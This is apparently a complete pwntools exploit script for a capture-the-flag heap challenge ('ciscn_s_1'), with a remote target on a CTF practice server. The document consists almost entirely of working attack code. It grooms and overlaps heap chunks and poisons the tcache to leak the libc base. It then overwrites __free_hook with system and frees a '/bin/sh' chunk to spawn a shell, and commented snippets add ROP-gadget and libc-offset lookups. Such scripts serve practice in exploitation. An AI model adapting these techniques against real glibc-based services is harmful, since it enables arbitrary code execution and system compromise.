1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162
| from pwn import * from LibcSearcher import *
context.arch = 'amd64' SigreturnFrame(kernel = 'amd64')
binary = "./ciscn_s_1"
''' malloc_hook = main_arena-0x10 obj = LibcSearcher("__malloc_hook", malloc_hook) obj = LibcSearcher("fgets", 0Xd90) libc_base = fgets-obj.dump('fgets') system_addr = libc_base + obj.dump("system") #system binsh_addr = libc_base + obj.dump("str_bin_sh") log.info("system_addr:0x%x"%system_addr) '''
''' python2 LibcOffset.py libc-2.23.so '''
''' puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] system_plt = elf.plt['system'] read_plt = elf.plt['read'] main_addr = elf.sym['main'] free_hook = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + libc.search('/bin/sh').next() '''
''' u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a u_gadget2 = elf.sym['__libc_csu_init'] + 0x40 pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63 ret = elf.sym['__libc_csu_init'] + 0x64 '''
local = 1 if local: p = process(binary)
elf = ELF(binary)
else: p = remote("node3.buuoj.cn","26685") elf = ELF(binary)
sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s)
menu = "4.show\n"
def add(idx,size, con): sla(menu, "1") sla("index:\n", str(idx)) sla("size:\n", str(size)) ru("gift: ") chunk_addr = int(ru("\n"),16) sa("content:\n", con) return chunk_addr
def delete(idx): sla(menu, "2") sla("index:\n", str(idx))
def show(idx): sla(menu, "4") sla("index:\n", str(idx))
def edit(idx,con): sla(menu, "3") sla("index:\n", str(idx)) sa("content:\n", con)
key_addr = 0x6022B8
chunk0_addr = add(0,0xf8,"0") heap_base = chunk0_addr-0x260
chunk8_addr = add(8,0xf8,"8") chunk9_addr = add(9,0xe8,"9") chunk10_addr = add(10,0xf8,"10") log.info("chunk8_addr:0x%x"%chunk8_addr) log.info("chunk9_addr:0x%x"%chunk9_addr) log.info("chunk10_addr:0x%x"%chunk10_addr)
edit(8,p64(0x110)+p64(0xf1+0xf0)+ p64(chunk8_addr)+p64(chunk8_addr)) edit(9,"9"*0xe0+ p64(0xf0+0xf0))
for i in range(0,7): add(i+1,0xf8,"X"*0xf7) for i in range(0,7): delete(i+1)
delete(9) delete(10) chunkA_addr = add(9,0xd0,"9") chunkB_addr = add(10,0xd0, p64(0x0)+p64(0xf0)+ p64(heap_base+0x10)+p64(heap_base+0x10)) unsortedbin_addr = chunk8_addr+0x10+0xe0+0xe0
add(11,0xe8,p64(heap_base+0x10)) add(12,0xe8,"\x00"*0x40+p64(0x0)*7+ p64(key_addr)+ p64(0x0)+ p64(unsortedbin_addr-0x10)+ p64(heap_base+0x10))
add(13,0x88,p64(0x1)) add(14,0xa0,"A"*0x10) show(14) ru("AAAAAAAAAAAAAAAA") main_arena = u64(rc(6).ljust(8,"\x00"))-96
malloc_hook = main_arena-0x10 obj = LibcSearcher("__malloc_hook", malloc_hook) libc_base = malloc_hook-obj.dump('__malloc_hook') log.info("libc_base:0x%x"%libc_base) system_addr = libc_base + obj.dump("system") free_hook_addr = libc_base + obj.dump("__free_hook") log.info("free_hook_addr:0x%x"%free_hook_addr) log.info("system_addr:0x%x"%system_addr)
edit(12,"\x00"*0x40+p64(0x0)*7+ p64(key_addr)+ p64(free_hook_addr)+ p64(unsortedbin_addr-0x10))
add(15,0x98,p64(system_addr)) add(16,0xf0,"/bin/sh\x00")
delete(16) p.interactive()
|